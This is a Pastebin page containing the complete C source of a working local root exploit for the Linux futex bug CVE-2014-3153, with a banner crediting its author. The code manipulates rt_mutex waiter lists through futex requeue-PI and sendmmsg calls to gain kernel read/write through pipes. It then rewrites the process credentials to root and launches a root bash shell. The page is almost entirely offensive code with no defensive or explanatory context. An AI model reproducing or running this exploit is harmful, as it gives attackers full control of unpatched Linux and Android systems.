Advertisement
Guest User

Untitled

a guest
Apr 19th, 2019
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.09 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <stdbool.h>
  5. #include <pthread.h>
  6. #include <fcntl.h>
  7. #include <signal.h>
  8. #include <string.h>
  9. #include <errno.h>
  10. #include <linux/futex.h>
  11. #include <sys/socket.h>
  12. #include <sys/mman.h>
  13. #include <sys/syscall.h>
  14. #include <sys/resource.h>
  15. #include <arpa/inet.h>
  16. #include <netinet/in.h>
  17. #include <netinet/tcp.h>
  18.  
  19. #define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
  20.  
  21. #define FUTEX_WAIT_REQUEUE_PI 11
  22. #define FUTEX_CMP_REQUEUE_PI 12
  23. #define USER_PRIO_BASE 120
  24. #define LOCAL_PORT 5551
  25.  
  26. #define SIGNAL_HACK_KERNEL 12
  27. #define SIGNAL_THREAD_EXIT 10
  28.  
  29. #define OFFSET_PID 0x4A4
  30. #define OFFSET_REAL_PARENT 0x4B8
  31. #define OFFSET_CRED 0x668
  32.  
  33. #define SIZEOF_CRED 160
  34. #define SIZEOF_TASK_STRUCT 2912
  35. #define OFFSET_ADDR_LIMIT 0x20
  36.  
  37. #define PRIO_LIST_OFFSET 8
  38. #define NODE_LIST_OFFSET (PRIO_LIST_OFFSET + sizeof(struct list_head))
  39. #define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
  40. #define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
  41. #define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
  42. #define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
  43. #define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
  44. #define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))
  45.  
  46. ////////////////////////////////////////////////////////////////////
  47. struct task_struct;
  48.  
  49. struct thread_info {
  50. struct task_struct *task;
  51. void *exec_domain;
  52. int flags;
  53. int status;
  54. int cpu;
  55. int preempt_count;
  56. void *addr_limit;
  57. };
  58.  
  59. struct list_head {
  60. struct list_head *next;
  61. struct list_head *prev;
  62. };
  63.  
  64. struct plist_head {
  65. struct list_head node_list;
  66. };
  67.  
  68. struct plist_node {
  69. int prio;
  70. struct list_head prio_list;
  71. struct list_head node_list;
  72. };
  73.  
  74. struct rt_mutex {
  75. unsigned long wait_lock;
  76. struct plist_head wait_list;
  77. struct task_struct *owner;
  78. };
  79.  
  80. struct rt_mutex_waiter {
  81. struct plist_node list_entry;
  82. struct plist_node pi_list_entry;
  83. struct task_struct *task;
  84. struct rt_mutex *lock;
  85. };
  86.  
  87. struct mmsghdr {
  88. struct msghdr msg_hdr;
  89. unsigned int msg_len;
  90. };
  91.  
  92. struct cred {
  93. int usage;
  94. int uid; /* real UID of the task */
  95. int gid; /* real GID of the task */
  96. int suid; /* saved UID of the task */
  97. int sgid; /* saved GID of the task */
  98. int euid; /* effective UID of the task */
  99. int egid; /* effective GID of the task */
  100. int fsuid; /* UID for VFS ops */
  101. int fsgid; /* GID for VFS ops */
  102. };
  103.  
  104. ////////////////////////////////////////////////////////////////////
  105.  
  106. static int swag = 0;
  107. static int swag2 = 0;
  108. static int main_pid;
  109.  
  110. static pid_t waiter_thread_tid;
  111.  
  112. static pthread_mutex_t hacked_lock;
  113. static pthread_cond_t hacked;
  114.  
  115. static pthread_mutex_t done_lock;
  116. static pthread_cond_t done;
  117.  
  118. static pthread_mutex_t is_thread_desched_lock;
  119. static pthread_cond_t is_thread_desched;
  120.  
  121. static volatile int do_socket_tid_read = 0;
  122. static volatile int did_socket_tid_read = 0;
  123.  
  124. static volatile int do_dm_tid_read = 0;
  125. static volatile int did_dm_tid_read = 0;
  126.  
  127. static pid_t last_tid = 0;
  128.  
  129. static volatile int_sync_time_out = 0;
  130.  
  131. struct thread_info thinfo;
  132. char task_struct_buf[SIZEOF_TASK_STRUCT];
  133. struct cred cred_buf;
  134.  
  135. struct thread_info *hack_thread_stack = NULL;
  136.  
  137. pthread_t thread_client_to_setup_rt_waiter;
  138.  
  139. int listenfd;
  140. int sockfd;
  141. int clientfd;
  142.  
  143. ////////////////////////////////////////////////////////////////
  144. int gettid()
  145. {
  146. return syscall(__NR_gettid);
  147. }
  148.  
  149. ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
  150. int pipefd[2];
  151. ssize_t len;
  152.  
  153. pipe(pipefd);
  154.  
  155. len = write(pipefd[1], kbuf, count);
  156.  
  157. if (len != count) {
  158. printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
  159. while(1) { sleep(10); }
  160. }
  161.  
  162. read(pipefd[0], ubuf, count);
  163.  
  164. close(pipefd[0]);
  165. close(pipefd[1]);
  166.  
  167. return len;
  168. }
  169.  
  170. ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
  171. int pipefd[2];
  172. ssize_t len;
  173.  
  174. pipe(pipefd);
  175.  
  176. write(pipefd[1], ubuf, count);
  177. len = read(pipefd[0], kbuf, count);
  178.  
  179. if (len != count) {
  180. printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
  181. while(1) { sleep(10); }
  182. }
  183.  
  184. close(pipefd[0]);
  185. close(pipefd[1]);
  186.  
  187. return len;
  188. }
  189.  
  190. int pthread_cancel_immediately(pthread_t thid)
  191. {
  192. pthread_kill(thid, SIGNAL_THREAD_EXIT);
  193. pthread_join(thid, NULL);
  194. return 0;
  195. }
  196.  
  197. void set_addr_limit(void *sp)
  198. {
  199. long newlimit = -1;
  200. write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
  201. }
  202.  
  203. void set_cred(struct cred *kcred)
  204. {
  205. struct cred cred_buf;
  206. int len;
  207.  
  208. len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
  209. cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
  210. cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
  211. len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
  212. }
  213.  
  214. struct rt_mutex_waiter *pwaiter11;
  215.  
  216. void set_parent_cred(void *sp, int parent_tid)
  217. {
  218. int len;
  219. int tid;
  220. struct task_struct *pparent;
  221. struct cred *pcred;
  222.  
  223. set_addr_limit(sp);
  224.  
  225. len = read_pipe(sp, &thinfo, sizeof(thinfo));
  226. if(len != sizeof(thinfo)) {
  227. printf("Read %p error %d\n", sp, len);
  228. }
  229.  
  230. void *ptask = thinfo.task;
  231. len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
  232. tid = *(int *)(task_struct_buf + OFFSET_PID);
  233.  
  234. while(tid != 0 && tid != parent_tid) {
  235. pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
  236. len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
  237. tid = *(int *)(task_struct_buf + OFFSET_PID);
  238. }
  239.  
  240. if(tid == parent_tid) {
  241. pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
  242. set_cred(pcred);
  243. } else
  244. printf("Pid %d not found\n", parent_tid);
  245. return;
  246. }
  247.  
  248. static int read_voluntary_ctxt_switches(pid_t pid)
  249. {
  250. char filename[256];
  251. FILE *fp;
  252. int vcscnt = -1;
  253.  
  254. sprintf(filename, "/proc/self/task/%d/status", pid);
  255. fp = fopen(filename, "rb");
  256. if (fp) {
  257. char filebuf[4096];
  258. char *pdest;
  259. fread(filebuf, 1, sizeof filebuf, fp);
  260. pdest = strstr(filebuf, "voluntary_ctxt_switches");
  261. vcscnt = atoi(pdest + 0x19);
  262. fclose(fp);
  263. }
  264. return vcscnt;
  265. }
  266.  
  267. static void sync_timeout_task(int sig)
  268. {
  269. int_sync_time_out = 1;
  270. }
  271.  
  272. static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
  273. {
  274. while (*do_request == 0) { }
  275. printf("Press RETURN after one second...");
  276. *did_request = 1;
  277. getchar();
  278. return 0;
  279. }
  280.  
  281. static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
  282. {
  283. struct sigaction act;
  284. int vcscnt;
  285. int_sync_time_out = 0;
  286.  
  287. act.sa_handler = sync_timeout_task;
  288. sigemptyset(&act.sa_mask);
  289. act.sa_flags = 0;
  290. act.sa_restorer = NULL;
  291. sigaction(SIGALRM, &act, NULL);
  292.  
  293. alarm(3);
  294. while (*do_request == 0) {
  295. if (int_sync_time_out)
  296. return -1;
  297. }
  298.  
  299. alarm(0);
  300. vcscnt = read_voluntary_ctxt_switches(pid);
  301. *did_request = 1;
  302. while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
  303. usleep(10);
  304. }
  305.  
  306. return 0;
  307. }
  308.  
  309. static void sync_with_parent(int volatile *do_request, int volatile *did_request)
  310. {
  311. *do_request = 1;
  312. while (*did_request == 0) { }
  313. }
  314.  
  315. void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
  316. {
  317. struct rt_mutex_waiter *pwaiter6, *pwaiter7;
  318. struct rt_mutex_waiter waiter6, waiter7;
  319. struct rt_mutex mutex;
  320. if(!pmutex)
  321. return;
  322. read_pipe(pmutex, &mutex, sizeof(mutex));
  323. pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
  324. if(!pwaiter6)
  325. return;
  326. read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
  327. pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
  328. if(!pwaiter7)
  329. return;
  330. read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
  331.  
  332. waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
  333. waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
  334. mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
  335. waiter7.list_entry.node_list.next = waiter6.list_entry.node_list.prev;
  336.  
  337. write_pipe(pmutex, &mutex, sizeof(mutex));
  338. write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
  339. write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
  340. }
  341.  
  342. static void void_handler(int signum)
  343. {
  344. pthread_exit(0);
  345. }
  346.  
  347. static void kernel_hack_task(int signum)
  348. {
  349. struct rt_mutex *prt_mutex, rt_mutex;
  350. struct rt_mutex_waiter rt_waiter11;
  351. int tid = syscall(__NR_gettid);
  352. int pid = getpid();
  353.  
  354. set_parent_cred(hack_thread_stack, main_pid);
  355.  
  356. read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
  357.  
  358. prt_mutex = rt_waiter11.lock;
  359. read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
  360.  
  361. void *ptask_struct = rt_mutex.owner;
  362. ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
  363. int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
  364. int *ppid = (int *)(task_struct_buf + OFFSET_PID);
  365. void **pstack = (void **)&task_struct_buf[8];
  366. void *owner_sp = *pstack;
  367. set_addr_limit(owner_sp);
  368.  
  369. pthread_mutex_lock(&hacked_lock);
  370. pthread_cond_signal(&hacked);
  371. pthread_mutex_unlock(&hacked_lock);
  372. }
  373.  
  374. static void *call_futex_lock_pi_with_priority(void *arg)
  375. {
  376. int prio;
  377. struct sigaction act;
  378. int ret;
  379.  
  380. prio = (long)arg;
  381. last_tid = syscall(__NR_gettid);
  382.  
  383. pthread_mutex_lock(&is_thread_desched_lock);
  384. pthread_cond_signal(&is_thread_desched);
  385.  
  386. act.sa_handler = void_handler;
  387. sigemptyset(&act.sa_mask);
  388. act.sa_flags = 0;
  389. act.sa_restorer = NULL;
  390. sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
  391.  
  392. act.sa_handler = kernel_hack_task;
  393. sigemptyset(&act.sa_mask);
  394. act.sa_flags = 0;
  395. act.sa_restorer = NULL;
  396. sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
  397.  
  398. setpriority(PRIO_PROCESS, 0, prio);
  399.  
  400. pthread_mutex_unlock(&is_thread_desched_lock);
  401.  
  402. sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
  403.  
  404. ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  405.  
  406. return NULL;
  407. }
  408.  
  409. static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
  410. {
  411. pthread_t th4;
  412. pid_t pid;
  413.  
  414. do_dm_tid_read = 0;
  415. did_dm_tid_read = 0;
  416.  
  417. pthread_mutex_lock(&is_thread_desched_lock);
  418. pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
  419. pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
  420.  
  421. pid = last_tid;
  422.  
  423. sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
  424.  
  425. pthread_mutex_unlock(&is_thread_desched_lock);
  426.  
  427. return th4;
  428. }
  429.  
  430. static int server_for_setup_rt_waiter(void)
  431. {
  432. int sockfd;
  433. int yes = 1;
  434. struct sockaddr_in addr = {0};
  435.  
  436. sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  437.  
  438. setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
  439.  
  440. addr.sin_family = AF_INET;
  441. addr.sin_port = htons(LOCAL_PORT);
  442. addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  443. bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
  444.  
  445. listen(sockfd, 1);
  446. listenfd = sockfd;
  447.  
  448. return accept(sockfd, NULL, NULL);
  449. }
  450.  
  451. static int connect_server_socket(void)
  452. {
  453. int sockfd;
  454. struct sockaddr_in addr = {0};
  455. int ret;
  456. int sock_buf_size;
  457.  
  458. sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  459. if (sockfd < 0) {
  460. printf("socket failed\n");
  461. usleep(10);
  462. } else {
  463. addr.sin_family = AF_INET;
  464. addr.sin_port = htons(LOCAL_PORT);
  465. addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  466. }
  467.  
  468. while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
  469. usleep(10);
  470. }
  471.  
  472. sock_buf_size = 1;
  473. setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
  474.  
  475. return sockfd;
  476. }
  477.  
  478. unsigned long iov_base0, iov_basex;
  479. size_t iov_len0, iov_lenx;
  480.  
  481. static void *client_to_setup_rt_waiter(void *waiter_plist)
  482. {
  483. int sockfd;
  484. struct mmsghdr msgvec[1];
  485. struct iovec msg_iov[8];
  486. unsigned long databuf[0x20];
  487. int i;
  488. int ret;
  489. struct sigaction act;
  490.  
  491. act.sa_handler = void_handler;
  492. sigemptyset(&act.sa_mask);
  493. act.sa_flags = 0;
  494. act.sa_restorer = NULL;
  495. sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
  496.  
  497. waiter_thread_tid = syscall(__NR_gettid);
  498. setpriority(PRIO_PROCESS, 0, 12);
  499.  
  500. sockfd = connect_server_socket();
  501. clientfd = sockfd;
  502.  
  503. for (i = 0; i < ARRAY_SIZE(databuf); i++) {
  504. databuf[i] = (unsigned long)waiter_plist;
  505. }
  506.  
  507. for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
  508. msg_iov[i].iov_base = waiter_plist;
  509. msg_iov[i].iov_len = (long)waiter_plist;
  510. }
  511. msg_iov[1].iov_base = (void *)iov_base0;
  512.  
  513. msgvec[0].msg_hdr.msg_name = databuf;
  514. msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
  515. msgvec[0].msg_hdr.msg_iov = msg_iov;
  516. msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
  517. msgvec[0].msg_hdr.msg_control = databuf;
  518. msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
  519. msgvec[0].msg_hdr.msg_flags = 0;
  520. msgvec[0].msg_len = 0;
  521.  
  522. syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
  523.  
  524. sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
  525.  
  526. ret = 0;
  527.  
  528. while (1) {
  529. ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
  530. if (ret <= 0) {
  531. break;
  532. } else
  533. printf("sendmmsg ret %d\n", ret);
  534. }
  535. return NULL;
  536. }
  537.  
  538. static void plist_set_next(struct list_head *node, struct list_head *head)
  539. {
  540. node->next = head;
  541. head->prev = node;
  542. node->prev = head;
  543. head->next = node;
  544. }
  545.  
  546. static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
  547. {
  548. rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
  549. rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
  550. plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
  551. plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
  552. }
  553.  
  554. static bool do_exploit(void *waiter_plist)
  555. {
  556. void *magicval, *magicval2;
  557. struct rt_mutex_waiter *rt_waiters;
  558. pid_t pid;
  559. pid_t pid6, pid7, pid12, pid11;
  560.  
  561. rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
  562.  
  563. syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  564.  
  565. while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
  566. usleep(10);
  567. }
  568.  
  569. pthread_t th6 = create_thread_do_futex_lock_pi_with_priority(6);
  570. pthread_t th7 = create_thread_do_futex_lock_pi_with_priority(7);
  571.  
  572. swag2 = 0;
  573. do_socket_tid_read = 0;
  574. did_socket_tid_read = 0;
  575.  
  576. syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
  577.  
  578. if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
  579. return false;
  580. }
  581.  
  582. setup_waiter_params(rt_waiters);
  583. magicval = rt_waiters[0].list_entry.prio_list.next;
  584. printf("Checking whether exploitable..");
  585. pthread_t th11 = create_thread_do_futex_lock_pi_with_priority(11);
  586.  
  587. if (rt_waiters[0].list_entry.prio_list.next == magicval) {
  588. printf("failed\n");
  589. return false;
  590. }
  591. printf("OK\nSeaching good magic...\n");
  592. magicval = rt_waiters[0].list_entry.prio_list.next;
  593.  
  594. pthread_cancel_immediately(th11);
  595.  
  596. pthread_t th11_1, th11_2;
  597. while(1) {
  598. setup_waiter_params(rt_waiters);
  599. th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
  600. magicval = rt_waiters[0].list_entry.prio_list.next;
  601. hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
  602. rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
  603.  
  604. th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
  605. magicval2 = rt_waiters[1].list_entry.node_list.prev;
  606.  
  607. printf("magic1=%p magic2=%p\n", magicval, magicval2);
  608. if(magicval < magicval2) {
  609. printf("Good magic found\nHacking...\n");
  610. break;
  611. } else {
  612. pthread_cancel_immediately(th11_1);
  613. pthread_cancel_immediately(th11_2);
  614. }
  615. }
  616. pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
  617. pthread_mutex_lock(&hacked_lock);
  618. pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
  619. pthread_cond_wait(&hacked, &hacked_lock);
  620. pthread_mutex_unlock(&hacked_lock);
  621. close(listenfd);
  622.  
  623. struct rt_mutex_waiter waiter11;
  624. struct rt_mutex *pmutex;
  625. int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
  626. if(len != sizeof(waiter11)) {
  627. pmutex = NULL;
  628. } else {
  629. pmutex = waiter11.lock;
  630. }
  631. fix_rt_mutex_waiter_list(pmutex);
  632.  
  633. pthread_cancel_immediately(th11_1);
  634. pthread_cancel_immediately(th11_2);
  635.  
  636. pthread_cancel_immediately(th7);
  637. pthread_cancel_immediately(th6);
  638. close(clientfd);
  639. pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
  640.  
  641. exit(0);
  642. }
  643.  
  644. #define MMAP_ADDR_BASE 0x0c000000
  645. #define MMAP_LEN 0x0c001000
  646.  
  647. int main(int argc, char *argv[])
  648. {
  649. unsigned long mapped_address;
  650. void *waiter_plist;
  651.  
  652. printf("CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)\n");
  653.  
  654. main_pid = gettid();
  655. if(fork() == 0) {
  656. iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  657. if (iov_base0 < 0xb0000000) {
  658. printf("mmap failed?\n");
  659. return 1;
  660. }
  661. iov_len0 = 0x10000;
  662.  
  663. iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  664. if (iov_basex < MMAP_ADDR_BASE) {
  665. printf("mmap failed?\n");
  666. return 1;
  667. }
  668. iov_lenx = MMAP_LEN;
  669.  
  670. waiter_plist = (void *)iov_basex + 0x400;
  671. pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
  672.  
  673. sockfd = server_for_setup_rt_waiter();
  674. if (sockfd < 0) {
  675. printf("Server failed\n");
  676. return 1;
  677. }
  678.  
  679. if (!do_exploit(waiter_plist)) {
  680. return 1;
  681. }
  682. return 0;
  683. }
  684.  
  685. while(getuid())
  686. usleep(100);
  687. execl("/bin/bash", "bin/bash", NULL);
  688. return 0;
  689. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement